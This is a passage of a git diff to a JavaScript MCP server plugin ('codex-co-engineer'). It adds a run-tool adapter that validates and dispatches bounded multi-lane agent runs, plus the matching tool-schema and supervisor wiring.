`run.assignments[${index}]`; + const assignment = quarantineObject(value[index], path, RUN_ASSIGNMENT_KEYS); + const assignmentId = requireString(assignment, 'assignment_id', `${path}.assignment_id`, isAssignmentId); + if (seenIds.has(assignmentId)) { + failAdapter('duplicate_assignment_id', `${path}.assignment_id`, CONTENT_FREE.duplicate_assignment_id); + } + seenIds.add(assignmentId); + const taskId = requireString(assignment, 'task_id', `${path}.task_id`, + (candidate) => capturedTest(TASK_ID_PATTERN, candidate)); + if (seenTasks.has(taskId)) { + failAdapter('duplicate_task_id', `${path}.task_id`, CONTENT_FREE.duplicate_task_id); + } + seenTasks.add(taskId); + const provider = optionalValue(assignment, 'provider', `${path}.provider`); + const model = optionalValue(assignment, 'model', `${path}.model`); + const profile = optionalValue(assignment, 'profile', `${path}.profile`); + if (provider === undefined && model === undefined) { + if (typeof profile !== 'string' || !isProfileName(profile)) { + failAdapter('selection_unresolved', path, CONTENT_FREE.selection_unresolved); + } + } else { + if (typeof provider !== 'string') { + failAdapter('selection_unresolved', `${path}.provider`, CONTENT_FREE.selection_unresolved); + } + assertRegistryProvider(provider, model, `${path}.provider`); + } + const prompt = optionalValue(assignment, 'prompt', `${path}.prompt`); + if (prompt !== undefined) { + if (typeof prompt !== 'string' || prompt.length < 1 || prompt.length > 16384) { + failAdapter('invalid_format', `${path}.prompt`, CONTENT_FREE.invalid_format); + } + prompts[assignmentId] = prompt; + } + const duration = optionalValue(assignment, 'expected_duration_ms', `${path}.expected_duration_ms`); + if (duration !== undefined) durations[assignmentId] = duration; + parsed.push(stripAssignment(assignment)); + } + return { assignments: parsed, prompts, durations }; +} + +function parseSubmit(args) { + if (mixLegacySingleTask('delegate', args)) { + failAdapter('mixed_tool_mode', 'delegate', CONTENT_FREE.mixed_tool_mode); + } + const run = quarantineObject(optionalValue(args, 'run', 'run') ?? failAdapter('missing_key', 'run', CONTENT_FREE.missing_key), + 'run', RUN_SUBMIT_KEYS); + for (const key of RUN_SUBMIT_REQUIRED_KEYS) { + if (!hasOwn(run, key)) failAdapter('missing_key', `run.${key}`, CONTENT_FREE.missing_key); + } + const runId = requireString(run, 'run_id', 'run.run_id', (value) => { + try { assertRunId(value, 'run.run_id'); return true; } catch { return false; } + }); + const idempotency = requireString(run, 'request_idempotency_key', 'run.request_idempotency_key', + (value) => capturedTest(IDEMPOTENCY_KEY_PATTERN, value)); + const profile = optionalValue(run, 'profile', 'run.profile'); + if (profile !== undefined && (typeof profile !== 'string' || !isProfileName(profile))) { + failAdapter('invalid_format', 'run.profile', CONTENT_FREE.invalid_format); + } + const { assignments, prompts, durations } = parseAssignments(ownDataValue(run, 'assignments', 'run.assignments')); + const unresolved = assignments.some((assignment) => assignment.provider === undefined + || assignment.model === undefined); + if (unresolved && (typeof profile !== 'string' || !isProfileName(profile))) { + failAdapter('selection_unresolved', 'run.assignments', CONTENT_FREE.selection_unresolved); + } + if (unresolved) { + failAdapter('selection_unresolved', 'run.assignments', CONTENT_FREE.selection_unresolved); + } + const objective = optionalValue(run, 'objective', 'run.objective'); + return { + runId, + runtimeRequest: freezeData({ + run_id: runId, + request_idempotency_key: idempotency, + identity: ownDataValue(run, 'identity', 'run.identity'), + git: ownDataValue(run, 'git', 'run.git'), + provenance: ownDataValue(run, 'provenance', 'run.provenance'), + telemetry: ownDataValue(run, 'telemetry', 'run.telemetry'), + assignments, + }), + context: freezeData({ + run_id: runId, + objective: typeof objective === 'string' ? objective : null, + profile: typeof profile === 'string' ? profile : null, + prompts, + durations, + repository_path: run.git && typeof run.git === 'object' ? run.git.repository_path ?? null : null, + }), + }; +} + +function requireRunId(args, field = 'run_id') { + const runId = requireString(args, 'run_id', field, (value) => { + try { assertRunId(value, field); return true; } catch { return false; } + }); + return runId; +} + +function parseAssignmentIds(value, field) { + if (value === undefined) return undefined; + if (!ARRAY_IS_ARRAY(value) && !capturedIsArray(value)) { + failAdapter('invalid_type', field, CONTENT_FREE.invalid_type); + } + if (value.length < MIN_ASSIGNMENTS || value.length > MAX_ASSIGNMENTS) { + failAdapter('out_of_range', field, CONTENT_FREE.out_of_range); + } + const ids = []; + for (let index = 0; index < value.length; index += 1) { + const id = value[index]; + if (!isAssignmentId(id)) failAdapter('invalid_format', `${field}[${index}]`, CONTENT_FREE.invalid_format); + ids.push(id); + } + return ids; +} + +function projectCandidate(runId) { + const ref = expectedCandidateRefV1({ run_id: runId }); + return freezeData({ + ref, + composed: false, + ready_for_codex_review: false, + authority: 'p35', + namespace: CANDIDATE_REF_NAMESPACE, + accepted: isRunOwnedCandidateRefV1(ref, runId), + }); +} + +function projectLane(lane, projectLaneTask, classifyLaneTask) { + if (lane === undefined || lane === null || typeof lane !== 'object') return lane; + const copy = { ...lane }; + if (copy.task && typeof copy.task === 'object') { + if (typeof classifyLaneTask === 'function') { + copy.truth = classifyLaneTask(copy.task); + } + copy.task = typeof projectLaneTask === 'function' + ? projectLaneTask(copy.task) + : copy.task; + } + if (copy.artifacts && typeof copy.artifacts === 'object') { + const artifacts = { ...copy.artifacts }; + if (capturedHasOwn(artifacts, 'raw')) delete artifacts.raw; + if (capturedHasOwn(artifacts, 'bytes')) delete artifacts.bytes; + copy.artifacts = artifacts; + } + return freezeData(copy); +} + +function projectReceipt(tool, operation, runtimeReceipt, projectLaneTask, classifyLaneTask) { + const runId = runtimeReceipt?.run_id; + const lanes = ARRAY_IS_ARRAY(runtimeReceipt?.lanes) + ? runtimeReceipt.lanes.map((lane) => projectLane(lane, projectLaneTask, classifyLaneTask)) + : []; + const blocked = runtimeReceipt?.complete_candidate_blocked === true + || lanes.some((lane) => lane?.required !== false && ( + lane.status === 'unresolved' + || lane.status === 'failed' + || lane.status === 'lifecycle_pending' + || lane.status === 'transport_lost' + )); + const sideEffects = emptySideEffects(); + if (runtimeReceipt?.side_effects?.task_dispatched === true) sideEffects.provider_dispatched = true; + if (runtimeReceipt?.side_effects?.task_cancelled === true + || (runtimeReceipt?.cleanup && runtimeReceipt.cleanup.cleaned === true)) { + sideEffects.cleanup_executed = runtimeReceipt?.cleanup?.cleaned === true; + } + const attention = runtimeReceipt?.attention ?? freezeData({ + batch_id: null, status: null, revision: null, wake: false, + complete_candidate_blocked: blocked, + }); + return freezeData({ + schema: RUN_TOOL_ADAPTER_RECEIPT_SCHEMA_ID, + version: RUN_TOOL_ADAPTER_VERSION, + mode: 'run', + tool, + operation, + status: runtimeReceipt?.status ?? 'inspected', + run_id: runId, + assignment_count: runtimeReceipt?.assignment_count ?? lanes.length, + lanes, + attention, + cleanup: runtimeReceipt?.cleanup ?? freezeData({ + cleaned: false, proof_bound: true, removed: 0, remaining: null, unresolved: [], + }), + decision_or_attention: freezeData({ + wake: false, + attention: attention?.status === 'open' || lanes.some((lane) => lane?.status === 'needs_attention'), + unresolved_required_blocks: blocked, + exactly_once_reply: attention?.status === 'reply_committed' || attention?.status === 'resolved', + }), + candidate: runId ? projectCandidate(runId) : null, + complete_candidate_blocked: blocked, + checks: emptyChecks(), + side_effects: sideEffects, + audience: 'model', + wake: false, + remote_mutated: false, + }); +} + +function assertFunctionMap(value, field, methods) { + assertPlainObject(value, 'injected_dependency_invalid', field, 'The injected seam'); + for (const method of methods) { + if (typeof value[method] !== 'function') { + failAdapter('injected_dependency_invalid', `${field}.${method}`, + CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(value[method], `${field}.${method}`); + } + return value; +} + +export function denyRunToolRemoteMutationV1(operation) { + return denyRunRemoteMutationV1(operation); +} + +export function describeRunToolAdapterV1() { + const registry = describeProviderRegistryV1(); + return freezeData({ + schema: RUN_TOOL_ADAPTER_SCHEMA_ID, + version: RUN_TOOL_ADAPTER_VERSION, + receipt_schema: RUN_TOOL_ADAPTER_RECEIPT_SCHEMA_ID, + catalog: PUBLIC_MCP_CATALOG, + operations: RUN_TOOL_OPERATIONS, + modes: RUN_TOOL_MODES, + additive: capturedFreeze({ + status: ADDITIVE_STATUS_KEYS, + delegate: ADDITIVE_DELEGATE_KEYS, + task: ADDITIVE_TASK_KEYS, + tasks: ADDITIVE_TASKS_KEYS, + cancel: ADDITIVE_CANCEL_KEYS, + wait_until: ADDITIVE_WAIT_UNTIL, + }), + wait_until: WAIT_UNTIL_VALUES, + registry_slots: [...PROVIDER_REGISTRY_SLOTS], + registry_rule: registry.selection_rule, + p22: capturedFreeze({ + provider_slot: registry.future_harness?.provider_slot ?? null, + composable: false, + surface: 'conformance_evidence', + }), + checks: RUN_TOOL_ADAPTER_CHECKS, + side_effects: RUN_TOOL_ADAPTER_SIDE_EFFECTS, + error_codes: RUN_TOOL_ADAPTER_ERROR_CODES, + bounds: capturedFreeze({ + assignments: capturedFreeze({ min: MIN_ASSIGNMENTS, max: MAX_ASSIGNMENTS }), + }), + candidate_ref_authority: 'p35', + lifecycle_authority: 'p33', + attention_authority: 'p34', + truth_projection: 'r-truth', + wake: false, + remote_mutated: false, + sixth_tool: false, + }); +} + +export function createRunToolAdapter(dependencies) { + if (dependencies === undefined || dependencies === null) { + failAdapter('injected_dependency_invalid', 'dependencies', CONTENT_FREE.injected_dependency_invalid); + } + assertNotProxy(dependencies, 'dependencies'); + assertPlainObject(dependencies, 'injected_dependency_invalid', 'dependencies', + 'createRunToolAdapter dependencies'); + for (const key of ownKeySet(dependencies, 'dependencies')) { + if (!capturedIncludes(ADAPTER_DEPENDENCY_KEYS, key)) { + failAdapter('unknown_key', `dependencies.${key}`, CONTENT_FREE.unknown_key); + } + } + const runtime = assertFunctionMap( + ownDataValue(dependencies, 'runtime', 'dependencies.runtime'), + 'dependencies.runtime', + RUNTIME_METHODS, + ); + const attention = hasOwn(dependencies, 'attention') + ? assertFunctionMap(ownDataValue(dependencies, 'attention', 'dependencies.attention'), + 'dependencies.attention', ATTENTION_METHODS) + : null; + const rememberSubmitContext = hasOwn(dependencies, 'rememberSubmitContext') + ? ownDataValue(dependencies, 'rememberSubmitContext', 'dependencies.rememberSubmitContext') + : null; + if (rememberSubmitContext !== null && typeof rememberSubmitContext !== 'function') { + failAdapter('injected_dependency_invalid', 'dependencies.rememberSubmitContext', + CONTENT_FREE.injected_dependency_invalid); + } + const projectLaneTask = hasOwn(dependencies, 'projectLaneTask') + ? ownDataValue(dependencies, 'projectLaneTask', 'dependencies.projectLaneTask') + : null; + const classifyLaneTask = hasOwn(dependencies, 'classifyLaneTask') + ? ownDataValue(dependencies, 'classifyLaneTask', 'dependencies.classifyLaneTask') + : null; + if (projectLaneTask !== null && typeof projectLaneTask !== 'function') { + failAdapter('injected_dependency_invalid', 'dependencies.projectLaneTask', + CONTENT_FREE.injected_dependency_invalid); + } + if (classifyLaneTask !== null && typeof classifyLaneTask !== 'function') { + failAdapter('injected_dependency_invalid', 'dependencies.classifyLaneTask', + CONTENT_FREE.injected_dependency_invalid); + } + + const counters = { + submit: 0, inspect: 0, resume: 0, cancel: 0, reply: 0, + }; + + async function dispatch(tool, args) { + const classified = classifyRunToolCall(tool, args); + if (classified.mode === 'legacy') return classified; + assertClosedTool(tool); + if (args === undefined || args === null || typeof args !== 'object') { + failAdapter('invalid_type', 'arguments', CONTENT_FREE.invalid_type); + } + assertNotProxy(args, 'arguments'); + assertDirectJsonClosure(args, 'arguments'); + denyForbiddenTree(args, 'arguments'); + const operation = resolveOperation(tool, args); + if ((tool === 'task' || tool === 'cancel' || tool === 'delegate' || tool === 'tasks') + && mixLegacySingleTask(tool, args) && tool !== 'tasks') { + failAdapter('mixed_tool_mode', tool, CONTENT_FREE.mixed_tool_mode); + } + if (tool === 'tasks' && mixLegacySingleTask('tasks', args) && capturedHasOwn(args, 'run_id')) { + failAdapter('mixed_tool_mode', 'tasks', CONTENT_FREE.mixed_tool_mode); + } + + let runtimeReceipt; + if (operation === 'submit') { + const parsed = parseSubmit(args); + if (rememberSubmitContext) rememberSubmitContext(parsed.context); + counters.submit += 1; + runtimeReceipt = await runtime.submitRun(parsed.runtimeRequest); + } else if (operation === 'status') { + const runId = requireRunId(args); + const assignmentId = optionalValue(args, 'assignment_id', 'assignment_id'); + if (assignmentId !== undefined && !isAssignmentId(assignmentId)) { + failAdapter('invalid_format', 'assignment_id', CONTENT_FREE.invalid_format); + } + counters.inspect += 1; + runtimeReceipt = await runtime.inspectRun({ + run_id: runId, + ...(assignmentId !== undefined ? { assignment_id: assignmentId } : {}), + }); + } else if (operation === 'wait') { + const runId = requireRunId(args); + const waitUntil = waitUntilValue(args); + if (waitUntil !== undefined && !capturedIncludes(WAIT_UNTIL_VALUES, waitUntil)) { + failAdapter('invalid_format', 'wait_until', CONTENT_FREE.invalid_format); + } + counters.inspect += 1; + runtimeReceipt = await runtime.inspectRun({ run_id: runId }); + } else if (operation === 'attention') { + const runId = requireRunId(args); + const attentionRequest = quarantineObject( + ownDataValue(args, 'attention', 'attention'), + 'attention', + ATTENTION_REQUEST_KEYS, + ); + const items = ownDataValue(attentionRequest, 'items', 'attention.items'); + if (!ARRAY_IS_ARRAY(items) || items.length < MIN_ASSIGNMENTS || items.length > MAX_ASSIGNMENTS) { + failAdapter('out_of_range', 'attention.items', CONTENT_FREE.out_of_range); + } + counters.resume += 1; + runtimeReceipt = await runtime.resumeRun({ + run_id: runId, + attention_items: items, + }); + } else if (operation === 'reply') { + const runId = requireRunId(args); + if (attention === null) { + failAdapter('injected_dependency_invalid', 'attention', CONTENT_FREE.injected_dependency_invalid); + } + const replyRequest = quarantineObject( + ownDataValue(args, 'run_reply', 'run_reply'), + 'run_reply', + RUN_REPLY_KEYS, + ); + counters.reply += 1; + const attentionReceipt = await attention.reply({ + run_id: runId, + batch_id: ownDataValue(replyRequest, 'batch_id', 'run_reply.batch_id'), + expected_revision: optionalValue(replyRequest, 'expected_revision', 'run_reply.expected_revision'), + reply: ownDataValue(replyRequest, 'reply', 'run_reply.reply'), + }); + counters.inspect += 1; + runtimeReceipt = await runtime.inspectRun({ run_id: runId }); + runtimeReceipt = freezeData({ + ...runtimeReceipt, + attention: attentionReceipt, + }); + } else if (operation === 'cancel' || operation === 'cleanup') { + const runId = requireRunId(args); + let assignmentIds = parseAssignmentIds( + optionalValue(args, 'assignment_ids', 'assignment_ids'), + 'assignment_ids', + ); + if (assignmentIds === undefined) { + counters.inspect += 1; + const inspected = await runtime.inspectRun({ run_id: runId }); + assignmentIds = ARRAY_IS_ARRAY(inspected?.lanes) + ? inspected.lanes.map((lane) => lane.assignment_id).filter((id) => typeof id === 'string') + : []; + if (assignmentIds.length < MIN_ASSIGNMENTS) { + failAdapter('missing_key', 'assignment_ids', CONTENT_FREE.missing_key); + } + } + counters.cancel += 1; + runtimeReceipt = await runtime.cancelRun({ + run_id: runId, + assignment_ids: assignmentIds, + cleanup: operation === 'cleanup', + }); + } else { + failAdapter('unknown_operation', 'tool', CONTENT_FREE.unknown_operation); + } + + const projected = projectReceipt( + tool, operation, runtimeReceipt, projectLaneTask, classifyLaneTask, + ); + return projected; + } + + return capturedFreeze({ + classify: classifyRunToolCall, + dispatch, + describe: describeRunToolAdapterV1, + counters, + }); +} + +export function createInProcessRunSeams(options = {}) { + assertPlainObject(options, 'injected_dependency_invalid', 'options', + 'In-process run seams'); + const delegateTask = options.delegateTask; + const inspectTask = options.inspectTask; + const cancelTask = options.cancelTask; + const settleLocalTaskLifecycle = options.settleLocalTaskLifecycle; + const cleanupLocalTaskLifecycle = options.cleanupLocalTaskLifecycle; + const clock = options.clock ?? (() => new Date().toISOString()); + if (typeof delegateTask !== 'function' || typeof inspectTask !== 'function' + || typeof cancelTask !== 'function' || typeof settleLocalTaskLifecycle !== 'function' + || typeof cleanupLocalTaskLifecycle !== 'function') { + failAdapter('injected_dependency_invalid', 'options', CONTENT_FREE.injected_dependency_invalid); + } + const byId = new Map(); + const byKey = new Map(); + const runStore = { + async submit(input) { + const existing = byId.get(input.run_id); + if (existing) { + if (existing.request_idempotency_key !== input.request_idempotency_key) { + failAdapter('invalid_format', 'run_id', CONTENT_FREE.invalid_format); + } + return { record: existing, created: false }; + } + const record = { + schema: 'codex-co-engineer.run-store-record.v1', + run_id: input.run_id, + request_idempotency_key: input.request_idempotency_key, + identity: input.identity, + git: input.git, + provenance: input.provenance, + telemetry: input.telemetry, + canonical_digest: input.request_idempotency_key, + }; + byId.set(input.run_id, record); + byKey.set(input.request_idempotency_key, input.run_id); + return { record, created: true }; + }, + async getByRunId(runId) { + const record = byId.get(runId); + if (!record) fail('run_store_not_found', 'run_id', CONTENT_FREE.invalid_format); + return record; + }, + }; + const journals = new Map(); + function journalHandle() { + const state = { + schema: 'codex-co-engineer.run-journal-state.v1', + revision: 0, + head_hash: 'codex-co-engineer.run-journal.genesis.v1', + run_opened: false, + children: [], + child_count: 0, + event_counts: { + run_opened: 0, child_started: 0, child_progress: 0, child_artifact: 0, + child_terminal: 0, run_terminal: 0, + }, + artifacts_total: 0, + artifact_bytes_total: 0, + run_outcome: null, + terminal: false, + }; + return { + async currentState() { + return { ...state, children: state.children.map((child) => ({ ...child })) }; + }, + async append(event) { + const kind = event.kind; + const data = event.data ?? {}; + if (kind === 'run_opened') state.run_opened = true; + if (kind === 'child_started' + && !state.children.some((child) => child.assignment_id === data.assignment_id)) { + state.children.push({ assignment_id: data.assignment_id, outcome: null }); + state.child_count = state.children.length; + } + if (kind === 'child_terminal') { + const child = state.children.find((row) => row.assignment_id === data.assignment_id); + if (child) child.outcome = data.outcome; + } + if (kind === 'run_terminal') { + state.terminal = true; + state.run_outcome = data.outcome; + } + state.event_counts[kind] = (state.event_counts[kind] ?? 0) + 1; + state.revision += 1; + state.head_hash = `sha256:${STRING(state.revision).padStart(64, 'a')}`; + return { seq: state.revision, state: { ...state } }; + }, + async cursorAfter(seq) { + return { seq, head_hash: state.head_hash, cursor: `cursor:${seq}` }; + }, + async readPage() { + return { events: [], next_cursor: null }; + }, + }; + } + const runJournal = { + async create(request) { + const handle = journalHandle(); + journals.set(request.run_id, handle); + return handle; + }, + async open(request) { + const handle = journals.get(request.run_id); + if (!handle) fail('run_journal_not_found', 'run_id', CONTENT_FREE.invalid_format); + return handle; + }, + async createAggregate(request) { return this.create(request); }, + async openAggregate(request) { return this.open(request); }, + }; + const aggregateAnchor = { + async getCoordination() { + fail('aggregate_run_not_found', 'run_id', CONTENT_FREE.invalid_format); + }, + }; + const batches = new Map(); + const attentionBatch = { + async latch(request) { + const record = freezeData({ + schema: 'codex-co-engineer.attention-batch.v1', + run_id: request.run_id, + batch_id: `att-${request.run_id}`, + revision: 1, + status: 'open', + source: request.source, + items: request.items ?? [], + reply: null, + unresolved: [], + complete_candidate_blocked: (request.items ?? []).some((item) => item.required !== false + && item.reply_capability === 'unsupported'), + wake: false, + }); + batches.set(request.run_id, record); + return record; + }, + async reply(request) { + const existing = batches.get(request.run_id); + if (!existing) fail('attention_batch_not_found', 'run_id', CONTENT_FREE.invalid_format); + const record = freezeData({ + ...existing, + status: 'resolved', + revision: (existing.revision ?? 1) + 1, + reply: request.reply, + }); + batches.set(request.run_id, record); + return record; + }, + async get(runId) { + return batches.get(runId) ?? null; + }, + }; + const artifactBridge = { + async captureAssignmentArtifacts() { + return freezeData({ schema: 'codex-co-engineer.run-artifact-bridge-capture.v1', created: false }); + }, + async projectAssignmentArtifacts(input) { + return freezeData({ + schema: 'codex-co-engineer.run-artifact-bridge-projection.v1', + run_id: input.run_id, + assignment_id: input.assignment_id, + artifacts: [], + }); + }, + async cleanupRunArtifacts(input) { + return freezeData({ + schema: 'codex-co-engineer.run-artifact-bridge-cleanup.v1', + run_id: input.run_id, + cleaned: true, + proof_bound: true, + removed: 0, + remaining: 0, + unresolved: [], + }); + }, + }; + const scheduler = createRunScheduler({ + delegateTask, + inspectTask, + cancelTask, + clock, + }); + const runtime = createRunRuntime({ + runStore, + runJournal, + aggregateAnchor, + attentionBatch, + scheduler, + artifactBridge, + settleLocalTaskLifecycle, + cleanupLocalTaskLifecycle, + clock, + }); + return capturedFreeze({ + runtime, + attention: attentionBatch, + scheduler, + runStore, + artifactBridge, + }); +} + +export function classifyDeniedGitOperationV1(runId, operation) { + return classifyGitOperationV1({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: 'platform', + operation, + identity: { + run_id: runId, + assignment_id: 'platform-lane', + base_sha: 'a'.repeat(40), + repository_path: '/run-tool-adapter/repository', + }, + }); +} + +capturedFreeze(denyRunToolRemoteMutationV1); +capturedFreeze(classifyRunToolCall); +capturedFreeze(describeRunToolAdapterV1); +capturedFreeze(createRunToolAdapter); +capturedFreeze(createInProcessRunSeams); +capturedFreeze(classifyDeniedGitOperationV1); diff --git a/plugins/codex-co-engineer/mcp/v3/server.mjs b/plugins/codex-co-engineer/mcp/v3/server.mjs index d6808f6..be4c6d6 100644 --- a/plugins/codex-co-engineer/mcp/v3/server.mjs +++ b/plugins/codex-co-engineer/mcp/v3/server.mjs @@ -24,12 +24,16 @@ import { listTasks, listTasksPage, stateRoot, waitForAnyTaskProgress } from './t import { cancelTask, inspectTask, + invokeRunTool, projectSupervisorPublicState, projectSupervisorTaskRecords, projectSupervisorTerminalReceipt, submitTask, supervisorStatus, } from './supervisor.mjs'; +import { + classifyRunToolCall, +} from './run-tool-adapter.mjs'; const PROTOCOLS = new Set(['2025-11-25', '2025-06-18', '2025-03-26']); let negotiated = '2025-11-25'; @@ -54,6 +58,11 @@ const TOOLS = [ task_limit: { type: 'integer', minimum: 0, maximum: 20, description: 'Maximum tasks to return (0-20). Default 20. Ignored when include_tasks is false.' }, include_tasks: { type: 'boolean', description: 'When false, omit recent tasks for readiness-only checks.' }, response_mode: RESPONSE_MODE_PROPERTY, + run_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{2,63}$', + description: 'Optional exact run id. When present, status inspects the bounded run instead of the 3.2.1 task window. Omit to preserve the 3.2.1 supervisor snapshot.', + }, }, additionalProperties: false, }, @@ -98,11 +107,41 @@ const TOOLS = [ provider_repo_url: { type: 'string', minLength: 1, maxLength: 4096, description: 'Optional credential-free provider-visible repository URL override for Cursor Cloud. SSH origins are canonicalized to HTTPS without credentials.' }, provider_repo: { type: 'string', minLength: 1, maxLength: 4096, description: 'Backward-compatible alias for provider_repo_url; Cursor Cloud only.' }, response_mode: RESPONSE_MODE_PROPERTY, + run: { + type: 'object', + additionalProperties: false, + required: ['run_id', 'request_idempotency_key', 'identity', 'git', 'provenance', 'telemetry', 'assignments'], + description: 'Optional bounded-run submission. When present, delegate submits one 1-8 lane run instead of a 3.2.1 single task. Direct mode, replay, fallback, and merge/push/create-PR are rejected. Omit to preserve exact 3.2.1 delegate behavior.', + properties: { + run_id: { type: 'string', pattern: '^[a-z][a-z0-9-]{2,63}$' }, + request_idempotency_key: { type: 'string', pattern: '^sha256:[0-9a-f]{64}$' }, + identity: { type: 'object' }, + git: { type: 'object' }, + provenance: { type: 'object' }, + telemetry: { type: 'object' }, + objective: { type: 'string', minLength: 1, maxLength: 4096 }, + profile: { type: 'string', pattern: '^[a-z0-9][a-z0-9._-]{0,63}$' }, + assignments: { + type: 'array', + minItems: 1, + maxItems: 8, + items: { type: 'object' }, + }, + }, + }, }, - required: ['task_id', 'provider', 'repo', 'prompt'], - anyOf: [ - { required: ['expected_duration_ms'] }, - { required: ['timeout_ms'] }, + allOf: [ + { + if: { required: ['run'] }, + then: { required: ['run'] }, + else: { + required: ['task_id', 'provider', 'repo', 'prompt'], + anyOf: [ + { required: ['expected_duration_ms'] }, + { required: ['timeout_ms'] }, + ], + }, + }, ], additionalProperties: false, }, @@ -122,8 +161,8 @@ const TOOLS = [ }, wait_until: { type: 'string', - enum: ['progress', 'terminal'], - description: 'progress wakes on meaningful live events (default). terminal waits for success, failure, timeout, cancellation, transport loss, environment block, needs_attention, silence, or the recorded deadline, and does not wake on routine text deltas.', + enum: ['progress', 'terminal', 'decision_or_attention'], + description: 'progress wakes on meaningful live events (default). terminal waits for success, failure, timeout, cancellation, transport loss, environment block, needs_attention, silence, or the recorded deadline, and does not wake on routine text deltas. decision_or_attention is the additive run wait and never wakes on routine progress.', }, wake_on_needs_attention: { type: 'boolean', @@ -170,8 +209,45 @@ const TOOLS = [ }, }, response_mode: RESPONSE_MODE_PROPERTY, + run_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{2,63}$', + description: 'Optional exact run id. When present, task inspects, waits, latches attention, or replies on the bounded run. Omit with task_id to preserve exact 3.2.1 task behavior.', + }, + assignment_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{0,63}$', + description: 'Optional exact assignment id for a run-scoped task inspect.', + }, + attention: { + type: 'object', + additionalProperties: false, + required: ['items'], + description: 'Latch one run-level AttentionBatchV1. Exactly one reply round. Routine progress never wakes.', + properties: { + expected_revision: { type: 'integer', minimum: 0 }, + items: { type: 'array', minItems: 1, maxItems: 8, items: { type: 'object' } }, + }, + }, + run_reply: { + type: 'object', + additionalProperties: false, + required: ['batch_id', 'reply'], + description: 'Exactly-once run attention reply. Do not mix with 3.2.1 task.reply.', + properties: { + batch_id: { type: 'string', minLength: 1, maxLength: 128 }, + expected_revision: { type: 'integer', minimum: 0 }, + reply: { type: 'object' }, + }, + }, }, - required: ['task_id'], + allOf: [ + { + if: { required: ['run_id'] }, + then: { required: ['run_id'] }, + else: { required: ['task_id'] }, + }, + ], additionalProperties: false, }, }, @@ -211,23 +287,33 @@ const TOOLS = [ }, wait_until: { type: 'string', - enum: ['progress', 'terminal'], - description: 'progress wakes on meaningful progress; terminal wakes on terminal, needs_attention, silence, or deadline.', + enum: ['progress', 'terminal', 'decision_or_attention'], + description: 'progress wakes on meaningful progress; terminal wakes on terminal, needs_attention, silence, or deadline. decision_or_attention waits for the run-level attention batch without waking on routine text.', }, wake_on_needs_attention: { type: 'boolean', default: true, description: 'Wake when any target needs a same-session reply or loses transport. Default true.', }, + run_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{2,63}$', + description: 'Optional exact run id. When present, tasks waits on the run\'s 1-8 lanes through decision_or_attention. Omit to preserve 3.2.1 list or wait-any behavior.', + }, }, allOf: [ { if: { - anyOf: [ - { required: ['cursors'] }, - { required: ['wait_ms'] }, - { required: ['wait_until'] }, - { required: ['wake_on_needs_attention'] }, + allOf: [ + { + anyOf: [ + { required: ['cursors'] }, + { required: ['wait_ms'] }, + { required: ['wait_until'] }, + { required: ['wake_on_needs_attention'] }, + ], + }, + { not: { required: ['run_id'] } }, ], }, then: { required: ['task_ids'] }, @@ -269,8 +355,31 @@ const TOOLS = [ properties: { task_id: { type: 'string', pattern: '^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$' }, response_mode: RESPONSE_MODE_PROPERTY, + run_id: { + type: 'string', + pattern: '^[a-z][a-z0-9-]{2,63}$', + description: 'Optional exact run id. When present, cancel stops named run lanes. Omit with task_id to preserve exact 3.2.1 cancel behavior.', + }, + assignment_ids: { + type: 'array', + minItems: 1, + maxItems: 8, + uniqueItems: true, + items: { type: 'string', pattern: '^[a-z][a-z0-9-]{0,63}$' }, + description: 'Exact assignment ids to cancel in the named run. Required for run cancel when run_id is present.', + }, + cleanup: { + type: 'boolean', + description: 'Proof-bound run artifact cleanup. Requires P33 lifecycle finality. Worktrees, branches, locks, and candidate refs are never deleted here.', + }, }, - required: ['task_id'], + allOf: [ + { + if: { required: ['run_id'] }, + then: { required: ['run_id'] }, + else: { required: ['task_id'] }, + }, + ], additionalProperties: false, }, }, @@ -330,6 +439,15 @@ function errorResult(error, { responseMode } = {}) { async function callTool(name, args = {}, { signal, responseMode } = {}) { const root = stateRoot(); + const classified = classifyRunToolCall(name, args); + if (classified.mode === 'run') { + const value = await invokeRunTool(root, name, args, { signal }); + if (value?.mode === 'legacy') { + // Fall through only when classification and dispatch disagree; omission stays 3.2.1. + } else { + return result(value, { responseMode }); + } + } if (name === 'status') { const hasCompact = args && (args.detail !== undefined || args.task_limit !== undefined || args.include_tasks !== undefined); if (!hasCompact) { diff --git a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs index 4397310..b192192 100644 --- a/plugins/codex-co-engineer/mcp/v3/supervisor.mjs +++ b/plugins/codex-co-engineer/mcp/v3/supervisor.mjs @@ -61,6 +61,11 @@ import { stopExactProcessBoundary, stopProcessBoundary, } from './process-boundary.mjs'; +import { + classifyRunToolCall, + createInProcessRunSeams, + createRunToolAdapter, +} from './run-tool-adapter.mjs'; const execFile = promisify(nodeExecFile); const WORKER = path.join(path.dirname(fileURLToPath(import.meta.url)), 'acp-worker.mjs'); @@ -2009,3 +2014,104 @@ export async function supervisorStatus(root = stateRoot(), dependencies = {}, op }; return detail === 'compact' ? projectCompactStatus(result) : result; } + +const runToolAdapters = new Map(); + +function liveTaskFns(root, contextByRun) { + return { + delegateTask: async (plan) => { + const ctx = contextByRun.get(plan.run_id) ?? {}; + const prompt = ctx.prompts?.[plan.assignment_id] ?? ctx.objective; + if (typeof prompt !== 'string' || prompt.trim().length === 0) { + fail('invalid_prompt', 'prompt must be non-empty text.'); + } + const role = plan.role === 'verify' ? 'review' : plan.role; + const input = { + task_id: plan.task_id, + provider: plan.provider, + repo: ctx.repository_path, + prompt, + role, + expected_duration_ms: Number.isInteger(ctx.durations?.[plan.assignment_id]) + ? ctx.durations[plan.assignment_id] + : 60_000, + workspace_mode: 'managed', + }; + if (plan.provider === 'dsh' + && (plan.model === 'stealth/ox-alpha' || plan.model === DEFAULT_DSH_MODEL)) { + input.dsh_model = plan.model; + } + if (plan.provider === 'cursor-cloud' && typeof plan.starting_ref === 'string') { + input.starting_ref = plan.starting_ref; + } + const result = await submitTask(input, { root }); + return { + task_id: result.task.id, + status: result.task.status, + cursor: '0', + }; + }, + inspectTask: async (plan) => { + const result = await inspectTask(root, { + task_id: 